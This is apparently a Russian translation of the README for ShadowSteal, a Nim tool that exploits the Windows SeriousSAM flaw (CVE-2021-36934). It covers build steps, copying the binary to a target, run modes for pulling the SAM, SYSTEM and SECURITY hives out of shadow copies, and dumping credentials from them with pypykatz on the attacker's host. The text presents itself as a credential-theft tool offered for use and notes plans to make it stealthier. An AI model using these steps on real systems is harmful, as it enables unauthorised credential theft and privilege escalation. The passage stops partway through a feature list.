
Чистая реализация на Nim для эксплуатации CVE-2021-36934, локального повышения привилегий SeriousSAM
Чистая реализация на Nim для эксплуатации CVE-2021-36934, локального повышения привилегий (LPE) SeriousSAM. Не OPSEC-безопасно.... пока ;). Я не претендую на авторство в обнаружении этой уязвимости.
Начать работу с ShadowSteal теперь проще, чем когда-либо, благодаря Docker! Не хотите возиться с установкой зависимостей Nim? Я вас прикрою, бро! Запустите Python-скрипт, чтобы создать среду сборки Docker, скомпилировать бинарник, перенести его обратно на хост и затем уничтожить контейнер.
Установите Docker на ваш хост (обратитесь к документации по установке для разных ОС), затем запустите Python-скрипт ShadowSteal в главной директории:
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l
Или соберите из исходников, установив Nim и его зависимости:
$ sudo apt-get install nim
$ nimble install zippy argparse winim
Установите инструментарий MinGW, если он ещё не установлен.
$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l
Перенесите на цель...
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
Из-за некоторой оплошности Microsoft обычные пользователи имеют права на чтение содержимого папки ...\System32\config\ в последних сборках Windows. Помимо прочего, это означает, что пользователь с низким уровнем привилегий имеет доступ на чтение к файлам SAM, System и Security в ...\System32\config.

Ой. Так что мы можем с этим сделать?
Некоторые очень наблюдательные исследователи (респект @jonasLyk!) заметили, что если на хосте Windows используется определённая конфигурация восстановления системы, «Volume Shadow Copies», то хост хранит резервные копии этих файлов, доступные через пространство имён устройств Win32 для этих копий.


SAM обычно заблокирован во время работы хоста, поэтому доступ к SAM в ...\System32\config\ исключён. Но эти теневые копии томов доступны любому пользователю хоста из-за этой ошибки конфигурации. Очень неплохо!
ShadowSteal — это бинарник, написанный на Nim для автоматизации перечисления и эксфильтрации файлов SAM, System и Security из этих теневых копий. Он перебирает возможные расположения теневых копий и, когда находит цель, извлекает файлы в заархивированную директорию (наподобие вывода Bloodhound).


Ничего сверхъестественного, и код грубоват, но он работает, и его было весело создавать!
Установите Nim:
$ sudo apt-get install nim
Установите зависимости:
$ nimble install zippy argparse winim
Установите инструментарий MinGW, если он ещё не установлен:
$ sudo apt-get install mingw-w64
Скомпилируйте для 64-битной Windows:
$ make
Перенесите на цель и запустите!
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifies and extracts credentials that can be stolen due to the SeriousSAM (CVE-2021-36934) exploit. Searches from high to low, defaults searching 100 to 1.
Usage:
[options]
Options:
-h, --help
-t, --triage [*] Triage mode. Quick enumeration, tries to find quick wins.
-bf, --bruteforce [*] Bruteforce mode. Enumerates the entire range of possible locations (512 to 1). Takes a bit.
-b, --bezos [?] Jeff Bezos Mode
Ограничивает перебор расположений диапазоном от 10 до 1 с уменьшением на каждой попытке. Быстро и эффективно в большинстве сред.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t
Перебирает все возможные расположения (512), уменьшая до 1. Попробуйте для тщательного перечисления среды. Занимает несколько минут.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf
Перенесите выходную директорию обратно на атакующий хост и обработайте данные с помощью Pypykatz. Для установки:
$ pip3 install pypykatz
Для запуска Pypykatz:
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

Теперь включает простую предварительно упакованную среду сборки Docker! Просто запустите скрипт ShadowSteal.py для настройки среды Docker, компиляции бинарника, переноса его обратно на ваш хост и уничтожения сборочных контейнеров. Просто работает! (Требуется некоторая сборка, т.е. вам нужен Docker для запуска).
Поджарый и злой. Добавлены оптимизированные параметры компиляции. ОГРОМНЫЙ прирост производительности благодаря оптимизации компилятора, полный брутфорс теперь происходит почти мгновенно. Огромное спасибо @orbitalgun за псевдо-PR, слава вашему дому и имени!
Заходите, пацаны, этот поезд-катастрофа катится. Этот релиз был моим быстрым прототипом, и он был довольно ужасен lol. Но его было очень весело создавать! Возможности:
